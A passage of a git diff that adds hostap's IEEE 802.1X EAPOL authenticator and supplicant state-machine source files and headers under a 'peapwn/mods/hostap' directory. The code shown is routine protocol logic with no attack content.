= sm->reauth_timer_state; + prev_auth_key_tx = sm->auth_key_tx_state; + prev_key_rx = sm->key_rx_state; + prev_ctrl_dir = sm->ctrl_dir_state; + + SM_STEP_RUN(AUTH_PAE); + if (sm->initializing || eapol_sm_sta_entry_alive(eapol, addr)) + SM_STEP_RUN(BE_AUTH); + if (sm->initializing || eapol_sm_sta_entry_alive(eapol, addr)) + SM_STEP_RUN(REAUTH_TIMER); + if (sm->initializing || eapol_sm_sta_entry_alive(eapol, addr)) + SM_STEP_RUN(AUTH_KEY_TX); + if (sm->initializing || eapol_sm_sta_entry_alive(eapol, addr)) + SM_STEP_RUN(KEY_RX); + if (sm->initializing || eapol_sm_sta_entry_alive(eapol, addr)) + SM_STEP_RUN(CTRL_DIR); + + if (prev_auth_pae != sm->auth_pae_state || + prev_be_auth != sm->be_auth_state || + prev_reauth_timer != sm->reauth_timer_state || + prev_auth_key_tx != sm->auth_key_tx_state || + prev_key_rx != sm->key_rx_state || + prev_ctrl_dir != sm->ctrl_dir_state) { + if (--max_steps > 0) + goto restart; + /* Re-run from eloop timeout */ + eapol_auth_step(sm); + return; + } + + if (eapol_sm_sta_entry_alive(eapol, addr) && sm->eap) { + if (eap_server_sm_step(sm->eap)) { + if (--max_steps > 0) + goto restart; + /* Re-run from eloop timeout */ + eapol_auth_step(sm); + return; + } + + /* TODO: find a better location for this */ + if (sm->eap_if->aaaEapResp) { + sm->eap_if->aaaEapResp = FALSE; + if (sm->eap_if->aaaEapRespData == NULL) { + wpa_printf(MSG_DEBUG, "EAPOL: aaaEapResp set, " + "but no aaaEapRespData available"); + return; + } + sm->eapol->cb.aaa_send( + sm->eapol->conf.ctx, sm->sta, + wpabuf_head(sm->eap_if->aaaEapRespData), + wpabuf_len(sm->eap_if->aaaEapRespData)); + } + } + + if (eapol_sm_sta_entry_alive(eapol, addr)) + sm->eapol->cb.eapol_event(sm->eapol->conf.ctx, sm->sta, + EAPOL_AUTH_SM_CHANGE); +} + + +static void eapol_sm_step_cb(void *eloop_ctx, void *timeout_ctx) +{ + struct eapol_state_machine *sm = eloop_ctx; + eapol_sm_step_run(sm); +} + + +/** + * eapol_auth_step - Advance EAPOL state machines + * @sm: EAPOL state machine + * + * This function is called to advance EAPOL state machines after any change + * that could affect their state. + */ +void eapol_auth_step(struct eapol_state_machine *sm) +{ + /* + * Run eapol_sm_step_run from a registered timeout to make sure that + * other possible timeouts/events are processed and to avoid long + * function call chains. + */ + + eloop_register_timeout(0, 0, eapol_sm_step_cb, sm, NULL); +} + + +static void eapol_auth_initialize(struct eapol_state_machine *sm) +{ + sm->initializing = TRUE; + /* Initialize the state machines by asserting initialize and then + * deasserting it after one step */ + sm->initialize = TRUE; + eapol_sm_step_run(sm); + sm->initialize = FALSE; + eapol_sm_step_run(sm); + sm->initializing = FALSE; + + /* Start one second tick for port timers state machine */ + eloop_cancel_timeout(eapol_port_timers_tick, NULL, sm); + eloop_register_timeout(1, 0, eapol_port_timers_tick, NULL, sm); +} + + +static int eapol_sm_get_eap_user(void *ctx, const u8 *identity, + size_t identity_len, int phase2, + struct eap_user *user) +{ + struct eapol_state_machine *sm = ctx; + return sm->eapol->cb.get_eap_user(sm->eapol->conf.ctx, identity, + identity_len, phase2, user); +} + + +static const char * eapol_sm_get_eap_req_id_text(void *ctx, size_t *len) +{ + struct eapol_state_machine *sm = ctx; + *len = sm->eapol->conf.eap_req_id_text_len; + return sm->eapol->conf.eap_req_id_text; +} + + +static struct eapol_callbacks eapol_cb = +{ + eapol_sm_get_eap_user, + eapol_sm_get_eap_req_id_text +}; + + +int eapol_auth_eap_pending_cb(struct eapol_state_machine *sm, void *ctx) +{ + if (sm == NULL || ctx == NULL || ctx != sm->eap) + return -1; + + eap_sm_pending_cb(sm->eap); + eapol_auth_step(sm); + + return 0; +} + + +static int eapol_auth_conf_clone(struct eapol_auth_config *dst, + struct eapol_auth_config *src) +{ + dst->ctx = src->ctx; + dst->eap_reauth_period = src->eap_reauth_period; + dst->wpa = src->wpa; + dst->individual_wep_key_len = src->individual_wep_key_len; + dst->eap_server = src->eap_server; + dst->ssl_ctx = src->ssl_ctx; + dst->msg_ctx = src->msg_ctx; + dst->eap_sim_db_priv = src->eap_sim_db_priv; + os_free(dst->eap_req_id_text); + dst->pwd_group = src->pwd_group; + dst->pbc_in_m1 = src->pbc_in_m1; + dst->server_id = src->server_id; + dst->server_id_len = src->server_id_len; + if (src->eap_req_id_text) { + dst->eap_req_id_text = os_malloc(src->eap_req_id_text_len); + if (dst->eap_req_id_text == NULL) + return -1; + os_memcpy(dst->eap_req_id_text, src->eap_req_id_text, + src->eap_req_id_text_len); + dst->eap_req_id_text_len = src->eap_req_id_text_len; + } else { + dst->eap_req_id_text = NULL; + dst->eap_req_id_text_len = 0; + } + if (src->pac_opaque_encr_key) { + dst->pac_opaque_encr_key = os_malloc(16); + if (dst->pac_opaque_encr_key == NULL) { + os_free(dst->eap_req_id_text); + return -1; + } + os_memcpy(dst->pac_opaque_encr_key, src->pac_opaque_encr_key, + 16); + } else + dst->pac_opaque_encr_key = NULL; + if (src->eap_fast_a_id) { + dst->eap_fast_a_id = os_malloc(src->eap_fast_a_id_len); + if (dst->eap_fast_a_id == NULL) { + os_free(dst->eap_req_id_text); + os_free(dst->pac_opaque_encr_key); + return -1; + } + os_memcpy(dst->eap_fast_a_id, src->eap_fast_a_id, + src->eap_fast_a_id_len); + dst->eap_fast_a_id_len = src->eap_fast_a_id_len; + } else + dst->eap_fast_a_id = NULL; + if (src->eap_fast_a_id_info) { + dst->eap_fast_a_id_info = os_strdup(src->eap_fast_a_id_info); + if (dst->eap_fast_a_id_info == NULL) { + os_free(dst->eap_req_id_text); + os_free(dst->pac_opaque_encr_key); + os_free(dst->eap_fast_a_id); + return -1; + } + } else + dst->eap_fast_a_id_info = NULL; + dst->eap_fast_prov = src->eap_fast_prov; + dst->pac_key_lifetime = src->pac_key_lifetime; + dst->pac_key_refresh_time = src->pac_key_refresh_time; + dst->eap_sim_aka_result_ind = src->eap_sim_aka_result_ind; + dst->tnc = src->tnc; + dst->wps = src->wps; + dst->fragment_size = src->fragment_size; + return 0; +} + + +static void eapol_auth_conf_free(struct eapol_auth_config *conf) +{ + os_free(conf->eap_req_id_text); + conf->eap_req_id_text = NULL; + os_free(conf->pac_opaque_encr_key); + conf->pac_opaque_encr_key = NULL; + os_free(conf->eap_fast_a_id); + conf->eap_fast_a_id = NULL; + os_free(conf->eap_fast_a_id_info); + conf->eap_fast_a_id_info = NULL; +} + + +struct eapol_authenticator * eapol_auth_init(struct eapol_auth_config *conf, + struct eapol_auth_cb *cb) +{ + struct eapol_authenticator *eapol; + + eapol = os_zalloc(sizeof(*eapol)); + if (eapol == NULL) + return NULL; + + if (eapol_auth_conf_clone(&eapol->conf, conf) < 0) { + os_free(eapol); + return NULL; + } + + if (conf->individual_wep_key_len > 0) { + /* use key0 in individual key and key1 in broadcast key */ + eapol->default_wep_key_idx = 1; + } + + eapol->cb.eapol_send = cb->eapol_send; + eapol->cb.aaa_send = cb->aaa_send; + eapol->cb.finished = cb->finished; + eapol->cb.get_eap_user = cb->get_eap_user; + eapol->cb.sta_entry_alive = cb->sta_entry_alive; + eapol->cb.logger = cb->logger; + eapol->cb.set_port_authorized = cb->set_port_authorized; + eapol->cb.abort_auth = cb->abort_auth; + eapol->cb.tx_key = cb->tx_key; + eapol->cb.eapol_event = cb->eapol_event; + + return eapol; +} + + +void eapol_auth_deinit(struct eapol_authenticator *eapol) +{ + if (eapol == NULL) + return; + + eapol_auth_conf_free(&eapol->conf); + os_free(eapol->default_wep_key); + os_free(eapol); +} diff --git a/peapwn/mods/hostap/src/eapol_auth/eapol_auth_sm.h b/peapwn/mods/hostap/src/eapol_auth/eapol_auth_sm.h new file mode 100644 index 000000000..3a0f45090 --- /dev/null +++ b/peapwn/mods/hostap/src/eapol_auth/eapol_auth_sm.h @@ -0,0 +1,90 @@ +/* + * IEEE 802.1X-2004 Authenticator - EAPOL state machine + * Copyright (c) 2002-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef EAPOL_AUTH_SM_H +#define EAPOL_AUTH_SM_H + +#define EAPOL_SM_PREAUTH BIT(0) +#define EAPOL_SM_WAIT_START BIT(1) +#define EAPOL_SM_USES_WPA BIT(2) +#define EAPOL_SM_FROM_PMKSA_CACHE BIT(3) + +struct eapol_auth_config { + int eap_reauth_period; + int wpa; + int individual_wep_key_len; + int eap_server; + void *ssl_ctx; + void *msg_ctx; + void *eap_sim_db_priv; + char *eap_req_id_text; /* a copy of this will be allocated */ + size_t eap_req_id_text_len; + u8 *pac_opaque_encr_key; + u8 *eap_fast_a_id; + size_t eap_fast_a_id_len; + char *eap_fast_a_id_info; + int eap_fast_prov; + int pac_key_lifetime; + int pac_key_refresh_time; + int eap_sim_aka_result_ind; + int tnc; + struct wps_context *wps; + int fragment_size; + u16 pwd_group; + int pbc_in_m1; + const u8 *server_id; + size_t server_id_len; + + /* Opaque context pointer to owner data for callback functions */ + void *ctx; +}; + +struct eap_user; + +typedef enum { + EAPOL_LOGGER_DEBUG, EAPOL_LOGGER_INFO, EAPOL_LOGGER_WARNING +} eapol_logger_level; + +enum eapol_event { + EAPOL_AUTH_SM_CHANGE, + EAPOL_AUTH_REAUTHENTICATE +}; + +struct eapol_auth_cb { + void (*eapol_send)(void *ctx, void *sta_ctx, u8 type, const u8 *data, + size_t datalen); + void (*aaa_send)(void *ctx, void *sta_ctx, const u8 *data, + size_t datalen); + void (*finished)(void *ctx, void *sta_ctx, int success, int preauth); + int (*get_eap_user)(void *ctx, const u8 *identity, size_t identity_len, + int phase2, struct eap_user *user); + int (*sta_entry_alive)(void *ctx, const u8 *addr); + void (*logger)(void *ctx, const u8 *addr, eapol_logger_level level, + const char *txt); + void (*set_port_authorized)(void *ctx, void *sta_ctx, int authorized); + void (*abort_auth)(void *ctx, void *sta_ctx); + void (*tx_key)(void *ctx, void *sta_ctx); + void (*eapol_event)(void *ctx, void *sta_ctx, enum eapol_event type); +}; + + +struct eapol_authenticator * eapol_auth_init(struct eapol_auth_config *conf, + struct eapol_auth_cb *cb); +void eapol_auth_deinit(struct eapol_authenticator *eapol); +struct eapol_state_machine * +eapol_auth_alloc(struct eapol_authenticator *eapol, const u8 *addr, + int flags, const struct wpabuf *assoc_wps_ie, + const struct wpabuf *assoc_p2p_ie, void *sta_ctx, + const char *identity, const char *radius_cui); +void eapol_auth_free(struct eapol_state_machine *sm); +void eapol_auth_step(struct eapol_state_machine *sm); +void eapol_auth_dump_state(FILE *f, const char *prefix, + struct eapol_state_machine *sm); +int eapol_auth_eap_pending_cb(struct eapol_state_machine *sm, void *ctx); + +#endif /* EAPOL_AUTH_SM_H */ diff --git a/peapwn/mods/hostap/src/eapol_auth/eapol_auth_sm_i.h b/peapwn/mods/hostap/src/eapol_auth/eapol_auth_sm_i.h new file mode 100644 index 000000000..d7f893a1d --- /dev/null +++ b/peapwn/mods/hostap/src/eapol_auth/eapol_auth_sm_i.h @@ -0,0 +1,178 @@ +/* + * IEEE 802.1X-2004 Authenticator - EAPOL state machine (internal definitions) + * Copyright (c) 2002-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef EAPOL_AUTH_SM_I_H +#define EAPOL_AUTH_SM_I_H + +#include "common/defs.h" +#include "radius/radius.h" + +/* IEEE Std 802.1X-2004, Ch. 8.2 */ + +typedef enum { ForceUnauthorized = 1, ForceAuthorized = 3, Auto = 2 } + PortTypes; +typedef enum { Unauthorized = 2, Authorized = 1 } PortState; +typedef enum { Both = 0, In = 1 } ControlledDirection; +typedef unsigned int Counter; + + +/** + * struct eapol_authenticator - Global EAPOL authenticator data + */ +struct eapol_authenticator { + struct eapol_auth_config conf; + struct eapol_auth_cb cb; + + u8 *default_wep_key; + u8 default_wep_key_idx; +}; + + +/** + * struct eapol_state_machine - Per-Supplicant Authenticator state machines + */ +struct eapol_state_machine { + /* timers */ + int aWhile; + int quietWhile; + int reAuthWhen; + + /* global variables */ + Boolean authAbort; + Boolean authFail; + PortState authPortStatus; + Boolean authStart; + Boolean authTimeout; + Boolean authSuccess; + Boolean eapolEap; + Boolean initialize; + Boolean keyDone; + Boolean keyRun; + Boolean keyTxEnabled; + PortTypes portControl; + Boolean portValid; + Boolean reAuthenticate; + + /* Port Timers state machine */ + /* 'Boolean tick' implicitly handled as registered timeout */ + + /* Authenticator PAE state machine */ + enum { AUTH_PAE_INITIALIZE, AUTH_PAE_DISCONNECTED, AUTH_PAE_CONNECTING, + AUTH_PAE_AUTHENTICATING, AUTH_PAE_AUTHENTICATED, + AUTH_PAE_ABORTING, AUTH_PAE_HELD, AUTH_PAE_FORCE_AUTH, + AUTH_PAE_FORCE_UNAUTH, AUTH_PAE_RESTART } auth_pae_state; + /* variables */ + Boolean eapolLogoff; + Boolean eapolStart; + PortTypes portMode; + unsigned int reAuthCount; + /* constants */ + unsigned int quietPeriod; /* default 60; 0..65535 */ +#define AUTH_PAE_DEFAULT_quietPeriod 60 + unsigned int reAuthMax; /* default 2 */ +#define AUTH_PAE_DEFAULT_reAuthMax 2 + /* counters */ + Counter authEntersConnecting; + Counter authEapLogoffsWhileConnecting; + Counter authEntersAuthenticating; + Counter authAuthSuccessesWhileAuthenticating; + Counter authAuthTimeoutsWhileAuthenticating; + Counter authAuthFailWhileAuthenticating; + Counter authAuthEapStartsWhileAuthenticating; + Counter authAuthEapLogoffWhileAuthenticating; + Counter authAuthReauthsWhileAuthenticated; + Counter authAuthEapStartsWhileAuthenticated; + Counter authAuthEapLogoffWhileAuthenticated; + + /* Backend Authentication state machine */ + enum { BE_AUTH_REQUEST, BE_AUTH_RESPONSE, BE_AUTH_SUCCESS, + BE_AUTH_FAIL, BE_AUTH_TIMEOUT, BE_AUTH_IDLE, BE_AUTH_INITIALIZE, + BE_AUTH_IGNORE + } be_auth_state; + /* constants */ + unsigned int serverTimeout; /* default 30; 1..X */ +#define BE_AUTH_DEFAULT_serverTimeout 30 + /* counters */ + Counter backendResponses; + Counter backendAccessChallenges; + Counter backendOtherRequestsToSupplicant; + Counter backendAuthSuccesses; + Counter backendAuthFails; + + /* Reauthentication Timer state machine */ + enum { REAUTH_TIMER_INITIALIZE, REAUTH_TIMER_REAUTHENTICATE + } reauth_timer_state; + /* constants */ + unsigned int reAuthPeriod; /* default 3600 s */ + Boolean reAuthEnabled; + + /* Authenticator Key Transmit state machine */ + enum { AUTH_KEY_TX_NO_KEY_TRANSMIT, AUTH_KEY_TX_KEY_TRANSMIT + } auth_key_tx_state; + + /* Key Receive state machine */ + enum { KEY_RX_NO_KEY_RECEIVE, KEY_RX_KEY_RECEIVE } key_rx_state; + /* variables */ + Boolean rxKey; + + /* Controlled Directions state machine */ + enum { CTRL_DIR_FORCE_BOTH, CTRL_DIR_IN_OR_BOTH } ctrl_dir_state; + /* variables */ + ControlledDirection adminControlledDirections; + ControlledDirection operControlledDirections; + Boolean operEdge; + + /* Authenticator Statistics Table */ + Counter dot1xAuthEapolFramesRx; + Counter dot1xAuthEapolFramesTx; + Counter dot1xAuthEapolStartFramesRx; + Counter dot1xAuthEapolLogoffFramesRx; + Counter dot1xAuthEapolRespIdFramesRx; + Counter dot1xAuthEapolRespFramesRx; + Counter dot1xAuthEapolReqIdFramesTx; + Counter dot1xAuthEapolReqFramesTx; + Counter dot1xAuthInvalidEapolFramesRx; + Counter dot1xAuthEapLengthErrorFramesRx; + Counter dot1xAuthLastEapolFrameVersion; + + /* Other variables - not defined in IEEE 802.1X */ + u8 addr[ETH_ALEN]; /* Supplicant address */ + int flags; /* EAPOL_SM_* */ + + /* EAPOL/AAA <-> EAP full authenticator interface */ + struct eap_eapol_interface *eap_if; + + int radius_identifier; + /* TODO: check when the last messages can be released */ + struct radius_msg *last_recv_radius; + u8 last_eap_id; /* last used EAP Identifier */ + u8 *identity; + size_t identity_len; + u8 eap_type_authsrv; /* EAP type of the last EAP packet from + * Authentication server */ + u8 eap_type_supp; /* EAP type of the last EAP packet from Supplicant */ + struct radius_class_data radius_class; + struct wpabuf *radius_cui; /* Chargeable-User-Identity */ + + /* Keys for encrypting and signing EAPOL-Key frames */ + u8 *eapol_key_sign; + size_t eapol_key_sign_len; + u8 *eapol_key_crypt; + size_t eapol_key_crypt_len; + + struct eap_sm *eap; + + Boolean initializing; /* in process of initializing state machines */ + Boolean changed; + + struct eapol_authenticator *eapol; + + void *sta; /* station context pointer to use in callbacks */ +}; + +#endif /* EAPOL_AUTH_SM_I_H */ diff --git a/peapwn/mods/hostap/src/eapol_supp/Makefile b/peapwn/mods/hostap/src/eapol_supp/Makefile new file mode 100644 index 000000000..adfd3dfd5 --- /dev/null +++ b/peapwn/mods/hostap/src/eapol_supp/Makefile @@ -0,0 +1,8 @@ +all: + @echo Nothing to be made. + +clean: + rm -f *~ *.o *.d *.gcno *.gcda *.gcov + +install: + @echo Nothing to be made. diff --git a/peapwn/mods/hostap/src/eapol_supp/eapol_supp_sm.c b/peapwn/mods/hostap/src/eapol_supp/eapol_supp_sm.c new file mode 100644 index 000000000..9d7aef04b --- /dev/null +++ b/peapwn/mods/hostap/src/eapol_supp/eapol_supp_sm.c @@ -0,0 +1,2065 @@ +/* + * EAPOL supplicant state machines + * Copyright (c) 2004-2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "state_machine.h" +#include "wpabuf.h" +#include "eloop.h" +#include "crypto/crypto.h" +#include "crypto/md5.h" +#include "common/eapol_common.h" +#include "eap_peer/eap.h" +#include "eap_peer/eap_proxy.h" +#include "eapol_supp_sm.h" + +#define STATE_MACHINE_DATA struct eapol_sm +#define STATE_MACHINE_DEBUG_PREFIX "EAPOL" + + +/* IEEE 802.1X-2004 - Supplicant - EAPOL state machines */ + +/** + * struct eapol_sm - Internal data for EAPOL state machines + */ +struct eapol_sm { + /* Timers */ + unsigned int authWhile; + unsigned int heldWhile; + unsigned int startWhen; + unsigned int idleWhile; /* for EAP state machine */ + int timer_tick_enabled; + + /* Global variables */ + Boolean eapFail; + Boolean eapolEap; + Boolean eapSuccess; + Boolean initialize; + Boolean keyDone; + Boolean keyRun; + PortControl portControl; + Boolean portEnabled; + PortStatus suppPortStatus; /* dot1xSuppControlledPortStatus */ + Boolean portValid; + Boolean suppAbort; + Boolean suppFail; + Boolean suppStart; + Boolean suppSuccess; + Boolean suppTimeout; + + /* Supplicant PAE state machine */ + enum { + SUPP_PAE_UNKNOWN = 0, + SUPP_PAE_DISCONNECTED = 1, + SUPP_PAE_LOGOFF = 2, + SUPP_PAE_CONNECTING = 3, + SUPP_PAE_AUTHENTICATING = 4, + SUPP_PAE_AUTHENTICATED = 5, + /* unused(6) */ + SUPP_PAE_HELD = 7, + SUPP_PAE_RESTART = 8, + SUPP_PAE_S_FORCE_AUTH = 9, + SUPP_PAE_S_FORCE_UNAUTH = 10 + } SUPP_PAE_state; /* dot1xSuppPaeState */ + /* Variables */ + Boolean userLogoff; + Boolean logoffSent; + unsigned int startCount; + Boolean eapRestart; + PortControl sPortMode; + /* Constants */ + unsigned int heldPeriod; /* dot1xSuppHeldPeriod */ + unsigned int startPeriod; /* dot1xSuppStartPeriod */ + unsigned int maxStart; /* dot1xSuppMaxStart */ + + /* Key Receive state machine */ + enum { + KEY_RX_UNKNOWN = 0, + KEY_RX_NO_KEY_RECEIVE, KEY_RX_KEY_RECEIVE + } KEY_RX_state; + /* Variables */ + Boolean rxKey; + + /* Supplicant Backend state machine */ + enum { + SUPP_BE_UNKNOWN = 0, + SUPP_BE_INITIALIZE = 1, + SUPP_BE_IDLE = 2, + SUPP_BE_REQUEST = 3, + SUPP_BE_RECEIVE = 4, + SUPP_BE_RESPONSE = 5, + SUPP_BE_FAIL = 6, + SUPP_BE_TIMEOUT = 7, + SUPP_BE_SUCCESS = 8 + } SUPP_BE_state; /* dot1xSuppBackendPaeState */ + /* Variables */ + Boolean eapNoResp; + Boolean eapReq; + Boolean eapResp; + /* Constants */ + unsigned int authPeriod; /* dot1xSuppAuthPeriod */ + + /* Statistics */ + unsigned int dot1xSuppEapolFramesRx; + unsigned int dot1xSuppEapolFramesTx; + unsigned int dot1xSuppEapolStartFramesTx; + unsigned int dot1xSuppEapolLogoffFramesTx; + unsigned int dot1xSuppEapolRespFramesTx; + unsigned int dot1xSuppEapolReqIdFramesRx; + unsigned int dot1xSuppEapolReqFramesRx; + unsigned int dot1xSuppInvalidEapolFramesRx; + unsigned int dot1xSuppEapLengthErrorFramesRx; + unsigned int dot1xSuppLastEapolFrameVersion; + unsigned char dot1xSuppLastEapolFrameSource[6]; + + /* Miscellaneous variables (not defined in IEEE 802.1X-2004) */ + Boolean changed; + struct eap_sm *eap; + struct eap_peer_config *config; + Boolean initial_req; + u8 *last_rx_key; + size_t last_rx_key_len; + struct wpabuf *eapReqData; /* for EAP */ + Boolean altAccept; /* for EAP */ + Boolean altReject; /* for EAP */ + Boolean replay_counter_valid; + u8 last_replay_counter[16]; + struct eapol_config conf; + struct eapol_ctx *ctx; + enum { EAPOL_CB_IN_PROGRESS = 0, EAPOL_CB_SUCCESS, EAPOL_CB_FAILURE } + cb_status; + Boolean cached_pmk; + + Boolean unicast_key_received, broadcast_key_received; +#ifdef CONFIG_EAP_PROXY + Boolean use_eap_proxy; + struct eap_proxy_sm *eap_proxy; +#endif /* CONFIG_EAP_PROXY */ +}; + + +static void eapol_sm_txLogoff(struct eapol_sm *sm); +static void eapol_sm_txStart(struct eapol_sm *sm); +static void eapol_sm_processKey(struct eapol_sm *sm); +static void eapol_sm_getSuppRsp(struct eapol_sm *sm); +static void eapol_sm_txSuppRsp(struct eapol_sm *sm); +static void eapol_sm_abortSupp(struct eapol_sm *sm); +static void eapol_sm_abort_cached(struct eapol_sm *sm); +static void eapol_sm_step_timeout(void *eloop_ctx, void *timeout_ctx); +static void eapol_sm_set_port_authorized(struct eapol_sm *sm); +static void eapol_sm_set_port_unauthorized(struct eapol_sm *sm); + + +/* Port Timers state machine - implemented as a function that will be called + * once a second as a registered event loop timeout */ +static void eapol_port_timers_tick(void *eloop_ctx, void *timeout_ctx) +{ + struct eapol_sm *sm = timeout_ctx; + + if (sm->authWhile > 0) { + sm->authWhile--; + if (sm->authWhile == 0) + wpa_printf(MSG_DEBUG, "EAPOL: authWhile --> 0"); + } + if (sm->heldWhile > 0) { + sm->heldWhile--; + if (sm->heldWhile == 0) + wpa_printf(MSG_DEBUG, "EAPOL: heldWhile --> 0"); + } + if (sm->startWhen > 0) { + sm->startWhen--; + if (sm->startWhen == 0) + wpa_printf(MSG_DEBUG, "EAPOL: startWhen --> 0"); + } + if (sm->idleWhile > 0) { + sm->idleWhile--; + if (sm->idleWhile == 0) + wpa_printf(MSG_DEBUG, "EAPOL: idleWhile --> 0"); + } + + if (sm->authWhile | sm->heldWhile | sm->startWhen | sm->idleWhile) { + eloop_register_timeout(1, 0, eapol_port_timers_tick, eloop_ctx, + sm); + } else { + wpa_printf(MSG_DEBUG, "EAPOL: disable timer tick"); + sm->timer_tick_enabled = 0; + } + eapol_sm_step(sm); +} + + +static void eapol_enable_timer_tick(struct eapol_sm *sm) +{ + if (sm->timer_tick_enabled) + return; + wpa_printf(MSG_DEBUG, "EAPOL: enable timer tick"); + sm->timer_tick_enabled = 1; + eloop_cancel_timeout(eapol_port_timers_tick, NULL, sm); + eloop_register_timeout(1, 0, eapol_port_timers_tick, NULL, sm); +} + + +SM_STATE(SUPP_PAE, LOGOFF) +{ + SM_ENTRY(SUPP_PAE, LOGOFF); + eapol_sm_txLogoff(sm); + sm->logoffSent = TRUE; + sm->suppPortStatus = Unauthorized; + eapol_sm_set_port_unauthorized(sm); +} + + +SM_STATE(SUPP_PAE, DISCONNECTED) +{ + SM_ENTRY(SUPP_PAE, DISCONNECTED); + sm->sPortMode = Auto; + sm->startCount = 0; + sm->logoffSent = FALSE; + sm->suppPortStatus = Unauthorized; + eapol_sm_set_port_unauthorized(sm); + sm->suppAbort = TRUE; + + sm->unicast_key_received = FALSE; + sm->broadcast_key_received = FALSE; + + /* + * IEEE Std 802.1X-2004 does not clear heldWhile here, but doing so + * allows the timer tick to be stopped more quickly when the port is + * not enabled. Since this variable is used only within HELD state, + * clearing it on initialization does not change actual state machine + * behavior. + */ + sm->heldWhile = 0; +} + + +SM_STATE(SUPP_PAE, CONNECTING) +{ + int send_start = sm->SUPP_PAE_state == SUPP_PAE_CONNECTING; + SM_ENTRY(SUPP_PAE, CONNECTING); + if (send_start) { + sm->startWhen = sm->startPeriod; + sm->startCount++; + } else { + /* + * Do not send EAPOL-Start immediately since in most cases, + * Authenticator is going to start authentication immediately + * after association and an extra EAPOL-Start is just going to + * delay authentication. Use a short timeout to send the first + * EAPOL-Start if Authenticator does not start authentication. + */ +#ifdef CONFIG_WPS + /* Reduce latency on starting WPS negotiation. */ + sm->startWhen = 1; +#else /* CONFIG_WPS */ + sm->startWhen = 3; +#endif /* CONFIG_WPS */ + } + eapol_enable_timer_tick(sm); + sm->eapolEap = FALSE; + if (send_start) + eapol_sm_txStart(sm); +} + + +SM_STATE(SUPP_PAE, AUTHENTICATING) +{ + SM_ENTRY(SUPP_PAE, AUTHENTICATING); + sm->startCount = 0; + sm->suppSuccess = FALSE; + sm->suppFail = FALSE; + sm->suppTimeout = FALSE; + sm->keyRun = FALSE; + sm->keyDone = FALSE; + sm->suppStart = TRUE; +} + + +SM_STATE(SUPP_PAE, HELD) +{ + SM_ENTRY(SUPP_PAE, HELD); + sm->heldWhile = sm->heldPeriod; + eapol_enable_timer_tick(sm); + sm->suppPortStatus = Unauthorized; + eapol_sm_set_port_unauthorized(sm); + sm->cb_status = EAPOL_CB_FAILURE; +} + + +SM_STATE(SUPP_PAE, AUTHENTICATED) +{ + SM_ENTRY(SUPP_PAE, AUTHENTICATED); + sm->suppPortStatus = Authorized; + eapol_sm_set_port_authorized(sm); + sm->cb_status = EAPOL_CB_SUCCESS; +} + + +SM_STATE(SUPP_PAE, RESTART) +{ + SM_ENTRY(SUPP_PAE, RESTART); + sm->eapRestart = TRUE; +} + + +SM_STATE(SUPP_PAE, S_FORCE_AUTH) +{ + SM_ENTRY(SUPP_PAE, S_FORCE_AUTH); + sm->suppPortStatus = Authorized; + eapol_sm_set_port_authorized(sm); + sm->sPortMode = ForceAuthorized; +} + + +SM_STATE(SUPP_PAE, S_FORCE_UNAUTH) +{ + SM_ENTRY(SUPP_PAE, S_FORCE_UNAUTH); + sm->suppPortStatus = Unauthorized; + eapol_sm_set_port_unauthorized(sm); + sm->sPortMode = ForceUnauthorized; + eapol_sm_txLogoff(sm); +} + + +SM_STEP(SUPP_PAE) +{ + if ((sm->userLogoff && !sm->logoffSent) && + !(sm->initialize || !sm->portEnabled)) + SM_ENTER_GLOBAL(SUPP_PAE, LOGOFF); + else if (((sm->portControl == Auto) && + (sm->sPortMode != sm->portControl)) || + sm->initialize || !sm->portEnabled) + SM_ENTER_GLOBAL(SUPP_PAE, DISCONNECTED); + else if ((sm->portControl == ForceAuthorized) && + (sm->sPortMode != sm->portControl) && + !(sm->initialize || !sm->portEnabled)) + SM_ENTER_GLOBAL(SUPP_PAE, S_FORCE_AUTH); + else if ((sm->portControl == ForceUnauthorized) && + (sm->sPortMode != sm->portControl) && + !(sm->initialize || !sm->portEnabled)) + SM_ENTER_GLOBAL(SUPP_PAE, S_FORCE_UNAUTH); + else switch (sm->SUPP_PAE_state) { + case SUPP_PAE_UNKNOWN: + break; + case SUPP_PAE_LOGOFF: + if (!sm->userLogoff) + SM_ENTER(SUPP_PAE, DISCONNECTED); + break; + case SUPP_PAE_DISCONNECTED: + SM_ENTER(SUPP_PAE, CONNECTING); + break; + case SUPP_PAE_CONNECTING: + if (sm->startWhen == 0 && sm->startCount < sm->maxStart) + SM_ENTER(SUPP_PAE, CONNECTING); + else if (sm->startWhen == 0 && + sm->startCount >= sm->maxStart && + sm->portValid) + SM_ENTER(SUPP_PAE, AUTHENTICATED); + else if (sm->eapSuccess || sm->eapFail) + SM_ENTER(SUPP_PAE, AUTHENTICATING); + else if (sm->eapolEap) + SM_ENTER(SUPP_PAE, RESTART); + else if (sm->startWhen == 0 && + sm->startCount >= sm->maxStart && + !sm->portValid) + SM_ENTER(SUPP_PAE, HELD); + break; + case SUPP_PAE_AUTHENTICATING: + if (sm->eapSuccess && !sm->portValid && + sm->conf.accept_802_1x_keys && + sm->conf.required_keys == 0) { + wpa_printf(MSG_DEBUG, "EAPOL: IEEE 802.1X for " + "plaintext connection; no EAPOL-Key frames " + "required"); + sm->portValid = TRUE; + if (sm->ctx->eapol_done_cb) + sm->ctx->eapol_done_cb(sm->ctx->ctx); + } + if (sm->eapSuccess && sm->portValid) + SM_ENTER(SUPP_PAE, AUTHENTICATED); + else if (sm->eapFail || (sm->keyDone && !sm->portValid)) + SM_ENTER(SUPP_PAE, HELD); + else if (sm->suppTimeout) + SM_ENTER(SUPP_PAE, CONNECTING); + break; + case SUPP_PAE_HELD: + if (sm->heldWhile == 0) + SM_ENTER(SUPP_PAE, CONNECTING); + else if (sm->eapolEap) + SM_ENTER(SUPP_PAE, RESTART); + break; + case SUPP_PAE_AUTHENTICATED: + if (sm->eapolEap && sm->portValid) + SM_ENTER(SUPP_PAE, RESTART); + else if (!sm->portValid) + SM_ENTER(SUPP_PAE, DISCONNECTED); + break; + case SUPP_PAE_RESTART: + if (!sm->eapRestart) + SM_ENTER(SUPP_PAE, AUTHENTICATING); + break; + case SUPP_PAE_S_FORCE_AUTH: + break; + case SUPP_PAE_S_FORCE_UNAUTH: + break; + } +} + + +SM_STATE(KEY_RX, 